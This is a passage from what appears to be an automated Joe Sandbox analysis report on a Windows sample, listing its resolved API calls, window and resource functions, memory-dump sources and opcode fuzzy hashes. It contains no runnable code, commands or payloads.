                                              • GetProcAddress.KERNEL32(00000000,SetLastError), ref: 0052983C
                                              • GetProcAddress.KERNEL32(00000000,SetUnhandledExceptionFilter), ref: 00529850
                                              • GetProcAddress.KERNEL32(00000000,Sleep), ref: 00529864
                                              • GetProcAddress.KERNEL32(00000000,TerminateProcess), ref: 00529878
                                              • GetProcAddress.KERNEL32(00000000,UnlockFile), ref: 0052988C
                                              • GetProcAddress.KERNEL32(00000000,UnmapViewOfFile), ref: 005298A0
                                              • GetProcAddress.KERNEL32(00000000,VirtualAlloc), ref: 005298B4
                                              • GetProcAddress.KERNEL32(00000000,VirtualFree), ref: 005298C8
                                              • GetProcAddress.KERNEL32(00000000,VirtualProtect), ref: 005298DC
                                              • GetProcAddress.KERNEL32(00000000,VirtualQuery), ref: 005298F0
                                              • GetProcAddress.KERNEL32(00000000,WaitForSingleObject), ref: 00529904
                                              • GetProcAddress.KERNEL32(00000000,WideCharToMultiByte), ref: 00529918
                                              • GetProcAddress.KERNEL32(00000000,WriteFile), ref: 0052992C
                                              • GetProcAddress.KERNEL32(00000000,lstrcmpiA), ref: 00529940
                                              • LoadLibraryA.KERNEL32(user32.dll), ref: 00529950
                                              • RaiseException.KERNEL32(EF0000F7,00000000,00000000,00000000), ref: 0052996A
                                              • GetProcAddress.KERNEL32(00000000,ChangeDisplaySettingsA), ref: 00529979
                                              • GetProcAddress.KERNEL32(00000000,CharUpperBuffA), ref: 0052998D
                                              • GetProcAddress.KERNEL32(00000000,LoadImageA), ref: 005299A1
                                              • GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 005299B5
                                              • GetProcAddress.KERNEL32(00000000,wsprintfA), ref: 005299C9
                                              • GetProcAddress.KERNEL32(00000000,wvsprintfA), ref: 005299DD
                                              • LoadLibraryA.KERNEL32(gdi32.dll), ref: 005299ED
                                              • RaiseException.KERNEL32(EF0000F6,00000000,00000000,00000000), ref: 00529A07
                                              • GetProcAddress.KERNEL32(00000000,AddFontResourceA), ref: 00529A16
                                              • GetProcAddress.KERNEL32(00000000,CreateCompatibleDC), ref: 00529A2A
                                              • GetProcAddress.KERNEL32(00000000,CreateDIBSection), ref: 00529A3E
                                              • GetProcAddress.KERNEL32(00000000,DeleteDC), ref: 00529A52
                                              • GetProcAddress.KERNEL32(00000000,RemoveFontResourceA), ref: 00529A66
                                              • GetProcAddress.KERNEL32(00000000,BeginPaint), ref: 00529A7A
                                              • GetProcAddress.KERNEL32(00000000,EndPaint), ref: 00529A8E
                                              • GetProcAddress.KERNEL32(00000000,GetObjectA), ref: 00529AA2
                                              • GetProcAddress.KERNEL32(00000000,SelectObject), ref: 00529AB6
                                              • GetProcAddress.KERNEL32(00000000,DeleteObject), ref: 00529ACA
                                              • GetProcAddress.KERNEL32(00000000,BitBlt), ref: 00529ADE
                                              • GetProcAddress.KERNEL32(00000000,GetWindowThreadProcessId), ref: 00529AF2
                                              • GetProcAddress.KERNEL32(00000000,SetActiveWindow), ref: 00529B06
                                              • GetProcAddress.KERNEL32(00000000,SetForegroundWindow), ref: 00529B1A
                                              • GetProcAddress.KERNEL32(00000000,RegisterClassExA), ref: 00529B2E
                                              • GetProcAddress.KERNEL32(00000000,GetSystemMetrics), ref: 00529B42
                                              • GetProcAddress.KERNEL32(00000000,CreateWindowExA), ref: 00529B56
                                              • GetProcAddress.KERNEL32(00000000,GetMessageA), ref: 00529B6A
                                              • GetProcAddress.KERNEL32(00000000,TranslateMessage), ref: 00529B7E
                                              • GetProcAddress.KERNEL32(00000000,DispatchMessageA), ref: 00529B92
                                              • GetProcAddress.KERNEL32(00000000,DestroyWindow), ref: 00529BA6
                                              • GetProcAddress.KERNEL32(00000000,EnumWindows), ref: 00529BBA
                                              • GetProcAddress.KERNEL32(00000000,DefWindowProcA), ref: 00529BCE
                                              • GetProcAddress.KERNEL32(00000000,PostMessageA), ref: 00529BE2
                                              • GetProcAddress.KERNEL32(00000000,CreateThread), ref: 00529BF6
                                              • RaiseException.KERNEL32(-10FFEFFB,00000000,00000000,00000000), ref: 00529C43
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: AddressProc$ExceptionRaise$LibraryLoad$HandleModule
                                              • String ID: AddFontResourceA$BeginPaint$BitBlt$ChangeDisplaySettingsA$CharUpperBuffA$CloseHandle$CreateCompatibleDC$CreateDIBSection$CreateFileA$CreateFileMappingA$CreateFileMappingW$CreateFileW$CreateProcessA$CreateThread$CreateWindowExA$DebugBreak$DefWindowProcA$DeleteCriticalSection$DeleteDC$DeleteFileA$DeleteObject$DestroyWindow$DispatchMessageA$EndPaint$EnterCriticalSection$EnumWindows$ExitProcess$FindClose$FindFirstFileA$FindNextFileA$FlushFileBuffers$FormatMessageA$FreeLibrary$GetCurrentProcess$GetCurrentProcessId$GetEnvironmentVariableA$GetExitCodeProcess$GetFileAttributesA$GetFileAttributesW$GetFileInformationByHandle$GetFileSize$GetFileTime$GetFullPathNameA$GetFullPathNameW$GetLastError$GetMessageA$GetModuleFileNameA$GetModuleHandleA$GetObjectA$GetPrivateProfileIntA$GetPrivateProfileSectionNamesA$GetPrivateProfileStringA$GetProcAddress$GetSystemMetrics$GetSystemTimeAsFileTime$GetTempFileNameA$GetTempPathA$GetTickCount$GetVersionExA$GetWindowThreadProcessId$HeapAlloc$HeapCreate$HeapFree$InitializeCriticalSection$LeaveCriticalSection$LoadImageA$LoadLibraryA$LoadLibraryExA$LocalAlloc$LocalFree$LockFile$MapViewOfFile$MessageBoxA$MultiByteToWideChar$OpenProcess$PostMessageA$RaiseException$ReadFile$RegisterClassExA$RemoveFontResourceA$SelectObject$SetActiveWindow$SetEnvironmentVariableA$SetEvent$SetFilePointer$SetForegroundWindow$SetLastError$SetUnhandledExceptionFilter$Sleep$TerminateProcess$TranslateMessage$UnlockFile$UnmapViewOfFile$VirtualAlloc$VirtualFree$VirtualProtect$VirtualQuery$WaitForSingleObject$WideCharToMultiByte$WriteFile$gdi32.dll$kernel32.dll$lstrcmpiA$user32.dll$wsprintfA$wvsprintfA
                                              • API String ID: 2001005932-2604603749
                                              • Opcode ID: 5b46f62fc282d5e5c73f7440cbeb410754a35d13333f7915edb46c6a85b657c5
                                              • Instruction ID: 3234ffb99d0f3f6381557e16afe7bea551e81f0853c7400716599519223e5e25
                                              • Opcode Fuzzy Hash: 5b46f62fc282d5e5c73f7440cbeb410754a35d13333f7915edb46c6a85b657c5
                                              • Instruction Fuzzy Hash: F242F6B9A40304AFE704DFA0EC8D9ADBFB4FB68711F004519EA55A7360E7B19948EF50
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00401590 Relevance: 9.1, APIs: 6, Instructions: 81windowCOMMON
                                              Download Yara Rule
                                              APIs
                                              • IsIconic.USER32(?), ref: 004015AD
                                                • Part of subcall function 004079E3: __EH_prolog3.LIBCMT ref: 004079EA
                                                • Part of subcall function 004079E3: BeginPaint.USER32(?,?,00000004,00403C0A,?,00000058,0040164C), ref: 00407A16
                                              • SendMessageA.USER32(?,00000027,?,00000000), ref: 004015D2
                                              • GetSystemMetrics.USER32(0000000B), ref: 004015E0
                                              • GetSystemMetrics.USER32(0000000C), ref: 004015E6
                                              • GetClientRect.USER32(?,?), ref: 004015F3
                                              • DrawIcon.USER32(?,?,?,?), ref: 00401624
                                                • Part of subcall function 00407A37: __EH_prolog3.LIBCMT ref: 00407A3E
                                                • Part of subcall function 00407A37: EndPaint.USER32(?,?,00000004,00403C30,?,?,00000058,0040164C), ref: 00407A59
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: H_prolog3MetricsPaintSystem$BeginClientDrawIconIconicMessageRectSend
                                              • String ID:
                                              • API String ID: 2914073315-0
                                              • Opcode ID: ea9977b15d81cc5dfbbb0184526302eaf8a3d722b98d20fd552bb229ca592166
                                              • Instruction ID: 115f9e109ebcc21a71930017844ba430040a27e0ec7d7c084d69a787c5c0effc
                                              • Opcode Fuzzy Hash: ea9977b15d81cc5dfbbb0184526302eaf8a3d722b98d20fd552bb229ca592166
                                              • Instruction Fuzzy Hash: 312171B26046019FC314DF79DD8AD6BB7E9FBC8615F040A2DF58AC3290DA74E9018B96
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0040405B Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                                              Download Yara Rule
                                              APIs
                                              • FindResourceA.KERNEL32(?,00000000,00000005), ref: 00404083
                                              • LoadResource.KERNEL32(?,00000000), ref: 0040408B
                                              • LockResource.KERNEL32(00000000), ref: 0040409D
                                              • FreeResource.KERNEL32(00000000), ref: 004040EB
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: Resource$FindFreeLoadLock
                                              • String ID:
                                              • API String ID: 1078018258-0
                                              • Opcode ID: 5c3af817b77ca2c535f0c95ce0a2c119f45a9c21272f660f7f6906ada371d1da
                                              • Instruction ID: 66c5f9e82b94aa57b541919149d83994d78638f38ab379211c229be64c517015
                                              • Opcode Fuzzy Hash: 5c3af817b77ca2c535f0c95ce0a2c119f45a9c21272f660f7f6906ada371d1da
                                              • Instruction Fuzzy Hash: 41118E75100711EBDB208FA5D988AA7B3B4FF44315F10857AEB4273690E7B8DE50D764
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0040C117 Relevance: 2.0, APIs: 1, Instructions: 452COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: H_prolog3
                                              • String ID:
                                              • API String ID: 431132790-0
                                              • Opcode ID: c477211e72095d245447ea7826a7b13926c298faaf6c73b4422ab15dbde60885
                                              • Instruction ID: 85c481c7a46d3775a46adb55d549cd2ea08517603b840ccc114c4b41118f3ee8
                                              • Opcode Fuzzy Hash: c477211e72095d245447ea7826a7b13926c298faaf6c73b4422ab15dbde60885
                                              • Instruction Fuzzy Hash: 0CF16B70500219EFDB14DF55C8D0ABE7BA9AF08314F10863AF816BA2D2DB39D941DB69
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00420270 Relevance: .4, Instructions: 384COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: 26e1f421c37010722e939f1943fae8928857cf41b96c19cd510a5aceca64f942
                                              • Instruction ID: 2aec8744fdece3c37ecdadcc0ba36d91a3922b1e046f888ff269a335ee002255
                                              • Opcode Fuzzy Hash: 26e1f421c37010722e939f1943fae8928857cf41b96c19cd510a5aceca64f942
                                              • Instruction Fuzzy Hash: C1D1A273E0A5B34A8735817E606857BEEA26FC1B5031FC3E28CD43F38AD12A5D4695D4
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0041F670 Relevance: .4, Instructions: 351COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: 5f5c955be687c510bd2df1cec9c2647de52aea6ed6920bd248ecd2b8ddbf0cbd
                                              • Instruction ID: b8c671794e8bff33ae8f989d649b5f46786bff7e2dd54979993e42fbaec55d60
                                              • Opcode Fuzzy Hash: 5f5c955be687c510bd2df1cec9c2647de52aea6ed6920bd248ecd2b8ddbf0cbd
                                              • Instruction Fuzzy Hash: 2BC1B173D1A9B3468735813E40586ABEE626FC1B5031FC3F28CD42F399D22A5D8B81D4
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00420000 Relevance: .2, Instructions: 230COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID:
                                              • String ID:
                                              • API String ID:
                                              • Opcode ID: bcaa2ac7db48fdb75d90ad171e404a865398553d32a737b9a26a961298e194f7
                                              • Instruction ID: b92fcfbfa9debdf800e1d5b3c5de5c3f1ae37bd06a815885f06fd8ea9ee482c5
                                              • Opcode Fuzzy Hash: bcaa2ac7db48fdb75d90ad171e404a865398553d32a737b9a26a961298e194f7
                                              • Instruction Fuzzy Hash: 3D71B073E0A9B3468335817E606867BEEA26FD1B5031EC3E38CD42F38AD52B5C4681D4
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 0041B2BB Relevance: 29.0, APIs: 19, Instructions: 460stringCOMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.530144817.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                              • Associated: 00000000.00000002.529667910.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.534421203.0000000000432000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.000000000043F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000443000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000446000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.0000000000449000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.535600384.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544183882.00000000004E6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544402913.00000000004E9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.544610411.00000000004EB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000528000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000541000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000545000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.546500941.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.548090137.0000000000553000.00000080.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_400000_pXlV6TKi3E.jbxd
                                              Similarity
                                              • API ID: String$Variant$ClearFree_memset$ChangeException@8H_prolog3ThrowTypelstrlen
                                              • String ID:
                                              • API String ID: 4128688680-0
                                              • Opcode ID: 8cb009dfa7b703e70359b17cebd3d83188ba443b3122c88b9c279c0cdfc3aeb7
                                              • Instruction ID: ef2ae6cce61c6032c82cf0ad5e60df1777d34188c70968d10e8a75f7b679d9e1
                                              • Opcode Fuzzy Hash: 8cb009dfa7b703e70359b17cebd3d83188ba443b3122c88b9c279c0cdfc3aeb7
                                              • Instruction Fuzzy Hash: D402AD71900209DFCF10DFA9D884AEEBBB5FF44304F14406EE851AB2A1D7789996CF99
                                              Uniqueness

                                              Uniqueness Score: -1.00%

                                              Function 00527271 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 123windowsleepregistryCOMMON
                                              Download Yara Rule
                                              APIs
                                              • GetObjectA.GDI32(?,00000018,00000000), ref: 00527297
                                              • GetModuleHandleA.KERNEL32(00000000), ref: 005272BD
                                              • RegisterClassExA.USER32(00540AE8), ref: 005272CD
                                              • GetSystemMetrics.USER32(00000010), ref: 005272D5
                                              • GetSystemMetrics.USER32(00000011), ref: 005272E0
                                              • AdjustWindowRectEx.USER32(?,98800000,00000000,00000000), ref: 00527329
                                              • CreateWindowExA.USER32(00000000,{CC7574E4-5E39-4700-B286-269A82DD8E95},0053C700,98800000,?,?,?,?,00000000,00000000,00000000,00000000), ref: 0052735A
                                              • GetMessageA.USER32(?,?,00000000,00000000), ref: 00527376
                                              • TranslateMessage.USER32(?), ref: 00527394
                                              • DispatchMessageA.USER32(?), ref: 0052739E
                                              • Sleep.KERNEL32(00000064), ref: 005273A8
                                              • EnumWindows.USER32(Function_00127216,00000000), ref: 005273C8
                                              • Sleep.KERNEL32(00000064), ref: 005273DB
                                              • DeleteObject.GDI32(?), ref: 005273E6
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.546304456.0000000000527000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
